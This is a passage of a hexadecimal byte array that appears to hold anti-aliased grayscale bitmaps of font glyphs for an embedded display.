0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xFF, 0xFF, 0x4D, 0x00, 0x00, 0x00, 0xAD, 0xFF, 0xFF,
0x92, 0x00, 0x00, 0x00, 0x12, 0xFE, 0xFF, 0xFF, 0x1E, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xF9, 0x65,
0x00, 0x00, 0x00, 0x50, 0xFF, 0xFF, 0xEF, 0x00, 0x00, 0x00, 0x00, 0x39, 0xCD, 0x2E, 0x00, 0x00,
0x00, 0x00, 0x90, 0xFF, 0xFF, 0xC2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xD0, 0xFF, 0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12,
0xFE, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4F, 0xFF,
0xFF, 0xFA, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0xFF, 0xFF,
0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xF6, 0xFF, 0xFF, 0x68,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xFF, 0xFF, 0xFD, 0x18, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xF0, 0xFF, 0xFF, 0xC4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0xE9, 0xFF, 0xFF, 0xCD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0xC6, 0xFF, 0xFF, 0xFF, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0xA8, 0xFF, 0xFF, 0xFF, 0xBE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x85, 0xFF, 0xFF, 0xFF, 0xFB, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xFB,
0xFF, 0xFF, 0xFE, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8C, 0xFF,
0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0B, 0xE0, 0x7A,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x4B, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xF5, 0xFF, 0xFF, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47,
0xD5, 0xD5, 0x8B, 0x00, 0xF8, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x00, 0xFA, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x00, 0xFD, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x00, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x02, 0xFF, 0xFF, 0xFF, 0x18,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x05, 0xFF, 0xFF,
0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x08,
0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xFF, 0xFF,
0xBE, 0x0A, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55,
0xFF, 0xFF, 0xBE, 0x0D, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x55, 0xFF, 0xFF, 0xBE, 0x10, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x00, 0x81, 0x01, 0x00,
0x00, 0x00, 0x00, 0x59, 0xFF, 0xFF, 0xBE, 0x12, 0xFF, 0xFF, 0xFF, 0x18, 0x00, 0x00, 0x31, 0xFF,
0x67, 0x00, 0x00, 0x00, 0x00, 0x68, 0xFF, 0xFF, 0xB8, 0x15, 0xFF, 0xFF, 0xFF, 0x19, 0x00, 0x00,
0x8C, 0xFF, 0xF2, 0x18, 0x00, 0x00, 0x00, 0x77, 0xFF, 0xFF, 0xA7, 0x18, 0xFF, 0xFF, 0xFF, 0x18,
0x00, 0x08, 0xE9, 0xFF, 0xF4, 0x13, 0x00, 0x00, 0x00, 0x89, 0xFF, 0xFF, 0x96, 0x1A, 0xFF, 0xFF,
0xFF, 0x18, 0x00, 0x65, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0xB4, 0xFF, 0xFF, 0x84, 0x1D,
0xFF, 0xFF, 0xFF, 0x18, 0x05, 0xDA, 0xFF, 0xF7, 0x18, 0x00, 0x00, 0x00, 0x00, 0xE5, 0xFF, 0xFF,
0x59, 0x20, 0xFF, 0xFF, 0xFF, 0x18, 0x76, 0xFF, 0xFF, 0x92, 0x00, 0x00, 0x00, 0x00, 0x19, 0xFF,
0xFF, 0xFF, 0x22, 0x23, 0xFF, 0xFF, 0xFF, 0x3F, 0xF3, 0xFF, 0xF9, 0x1C, 0x00, 0x00, 0x00, 0x00,
0x6C, 0xFF, 0xFF, 0xEA, 0x00, 0x25, 0xFF, 0xFF, 0xFF, 0xF3, 0xFF, 0xFF, 0x99, 0x00, 0x00, 0x00,
0x00, 0x00, 0xC8, 0xFF, 0xFF, 0xA9, 0x00, 0x28, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xED, 0x1E, 0x00,
0x00, 0x00, 0x00, 0x2E, 0xFF, 0xFF, 0xFF, 0x49, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x41,
0x00, 0x00, 0x00, 0x00, 0x00, 0xBC, 0xFF, 0xFF, 0xE5, 0x03, 0x00, 0x2D, 0xFF, 0xFF, 0xFF, 0xFF,
0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xFF, 0x83, 0x00, 0x00, 0x26, 0xFF, 0xFF,
0xFF, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xFE, 0xFF, 0xEC, 0x10, 0x00, 0x00, 0x00,
0x8B, 0xFF, 0xBB, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0x6C, 0x00, 0x00,
0x00, 0x00, 0x03, 0x8E, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x97, 0x04,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xB2,
0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xB2, 0xAA, 0x0D, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0xD7, 0x9E, 0x9E, 0x9E, 0x9E,
0x9E, 0x9E, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF,
0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23,
0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF,
0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xE8, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF,
0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0xFF, 0xFF, 0x23,
0x7F, 0xFF, 0xFF, 0x97, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0xE9, 0xFF, 0xFF, 0x23, 0x7F, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0xC7, 0x4B, 0x4B, 0x4B, 0x4B,
0x4B, 0x4B, 0xEF, 0xFF, 0xFF, 0x23, 0x7F, 0xFF, 0xFF, 0x95, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xCF, 0xE4, 0xE4, 0x1F, 0x44, 0x89, 0x89, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x14, 0x29, 0x29, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xA8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7D, 0x2B, 0x00, 0x7F, 0xFF,
0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0xEB, 0xD5, 0x0A, 0x7F, 0xFF, 0xFF, 0xAF,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0x97, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xA5, 0xFF, 0xFF, 0xA2, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0C, 0xF4, 0xFF, 0xFF, 0x42, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7B,
0xFF, 0xFF, 0xE0, 0x01, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x12, 0xF0, 0xFF, 0xFF,
0x81, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFE, 0x22, 0x00,
0x7F, 0xFF, 0xFF, 0xAF, 0x00, 0x00, 0x00, 0x2B, 0xF7, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x7F, 0xFF,
0xFF, 0xAF, 0x00, 0x00, 0x15, 0xDE, 0xFF, 0xFF, 0xEF, 0x17, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF,
0x00, 0x06, 0xC3, 0xFF, 0xFF, 0xFF, 0x69, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xAF, 0x29, 0xC9,
0xFF, 0xFF, 0xFF, 0x9F, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xF7, 0xFF, 0xFF, 0xFF,
0xBA, 0x05, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB8, 0x0D, 0x00,
0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8A, 0x02, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x31, 0xF6, 0xFF, 0xFF, 0xE1, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x59, 0xF3, 0x7B, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xE3, 0xE3, 0xE3,
0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xE3, 0xAA, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0x7F, 0xFF, 0xFF, 0xBE, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E, 0x6E,
0x99, 0xFF, 0xFF, 0xBF, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF,
0xFF, 0xBF, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0xFF, 0xFF, 0xBF,
0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4D, 0xFF, 0xFF, 0xBF, 0x7F, 0xFF,
0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E, 0xFF, 0xFF, 0xB5, 0x7F, 0xFF, 0xFF, 0x8C,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x73, 0xFF, 0xFF, 0xA1, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0x8C, 0x7F, 0xFF, 0xFF, 0x8C, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9D, 0xFF, 0xFF, 0x78, 0x7F, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xB2, 0xFF, 0xFF, 0x64, 0x04, 0x08, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xE8, 0xFF,
0xFF, 0x45, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xFF, 0xFF, 0xFA, 0x0B,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0xC5, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x32, 0xFE, 0xFF, 0xFF, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x02, 0xCB, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D,
0xFF, 0xFF, 0xFF, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xF1, 0xFF, 0xFF,
0xD2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0xE7, 0xFF, 0xFF, 0xFA, 0x33, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xF6, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x20, 0xFE, 0xFF, 0xFF, 0xFF, 0xB8, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB3, 0xFF, 0xFF, 0xB6, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x22, 0xF7, 0xA8, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35,
0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x05, 0x32, 0x5F, 0x8D, 0x96, 0x7A, 0x5B, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x3E, 0xDA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDB, 0x93, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x91, 0xFE, 0xFF, 0xFD, 0xB3, 0x81, 0x78, 0xAC, 0xFB, 0xFF, 0xFF, 0xFA, 0x00, 0x00,
0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xEC, 0x45, 0x00, 0x00, 0x00, 0x00, 0x20, 0xE2, 0xFF, 0xFA,
0x00, 0x00, 0x00, 0x00, 0x2C, 0xF7, 0xFF, 0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F,
0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0xBD, 0xFF, 0xFF, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x67, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x15, 0xFC, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x63, 0xFF, 0xFF, 0xFF, 0x1A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x2A, 0x24, 0x17, 0x38, 0x38, 0xBE, 0xFF, 0xFF, 0xF4, 0x38,
0x38, 0x38, 0x38, 0x38, 0x38, 0x38, 0x0E, 0x00, 0x00, 0x00, 0x8D, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x00, 0x63, 0x9A, 0xA1, 0xFF,
0xFF, 0xFF, 0xD1, 0x9A, 0x9A, 0x9A, 0x9A, 0x9A, 0x9A, 0x9A, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00,
0x15, 0xFF, 0xFF, 0xFF, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1B, 0xFF, 0xFF, 0xFF, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1B, 0x41, 0x5A, 0xFF, 0xFF, 0xFF, 0xA2, 0x41, 0x41, 0x41, 0x41, 0x41, 0x40, 0x01,
0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFE, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x5D, 0x91, 0x91, 0xF1, 0xFF, 0xFF, 0xF2, 0x91, 0x91, 0x91,
0x91, 0x91, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB1, 0xFF, 0xFF, 0xE5, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0xFF, 0xFF,
0xFF, 0x1A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x13, 0x8D, 0x85, 0x00, 0x00, 0x00, 0x31,
0xFF, 0xFF, 0xFF, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4B, 0xFF, 0xFA, 0x00, 0x00,
0x00, 0x02, 0xDF, 0xFF, 0xFF, 0xD0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFA,
0x00, 0x00, 0x00, 0x00, 0x4A, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4,
0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xFF, 0xFF, 0xFC, 0x7D, 0x03, 0x00, 0x00, 0x00,
0x20, 0xEF, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0xAD, 0xFF, 0xFF, 0xFF, 0xF5, 0xC9,
0xAE, 0xCD, 0xFC, 0xFF, 0xFF, 0xFA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xE0, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE7, 0xA1, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x11, 0x3B, 0x59, 0x5B, 0x41, 0x24, 0x01, 0x00, 0x00, 0x4F, 0xF0, 0xF0, 0xF0, 0xED, 0x05,
0x59, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x59, 0xFF, 0xFF, 0xFF, 0xFF, 0x07, 0x59, 0xFF, 0xFF, 0xFF,
0xFF, 0x07, 0x0D, 0x34, 0x34, 0x34, 0x30, 0x00, 0x00, 0x56, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A, 0x5A,
0x5A, 0x5A, 0x5A, 0x51, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF2,
0x00, 0x94, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x8C, 0x00, 0x00, 0x02, 0x02,
0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x01, 0x71,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xC0, 0x18, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F,
0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F, 0x3F,
0x3F, 0x3F, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0A,
0x2C, 0x2C, 0x2C, 0x0E, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF,
0xFF, 0xFF, 0x6F, 0x38, 0xB0, 0xB0, 0xB0, 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x58,
0x35, 0x00, 0x00, 0x8D, 0xFF, 0xA8, 0x00, 0x00, 0xA2, 0xFF, 0xBC, 0x00, 0x00, 0xB7, 0xFF, 0xD1,
0x00, 0x00, 0xCC, 0xFF, 0xE5, 0x00, 0x00, 0xE1, 0xFF, 0xF9, 0x00, 0x00, 0xF6, 0xFF, 0xFF, 0x0E,
0x0B, 0xFF, 0xFF, 0xFF, 0x23, 0x20, 0xFF, 0xFF, 0xFF, 0x37, 0x34, 0xFF, 0xFF, 0xFF, 0x4C, 0x49,
0xFF, 0xFF, 0xFF, 0x60, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF,
0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF,
0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x58, 0xFF, 0xFF, 0xFF, 0x6F, 0x32, 0x9F, 0x9F, 0x9F,
0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x79, 0x86, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xFD, 0xD3, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5C, 0xFF, 0x8E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x3B, 0x6D, 0x9B, 0xA4, 0xD7, 0xFF,
0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5A, 0xF4, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xEC, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x95, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x88, 0xFF, 0xFF, 0xFF, 0xFA, 0xB1, 0x74,
0xBC, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x1B, 0xF6, 0xFF, 0xFF, 0xF3, 0x46, 0x00,
0x00, 0xBC, 0xFF, 0x89, 0xF8, 0xFF, 0xFF, 0xDE, 0x04, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x48, 0x00,
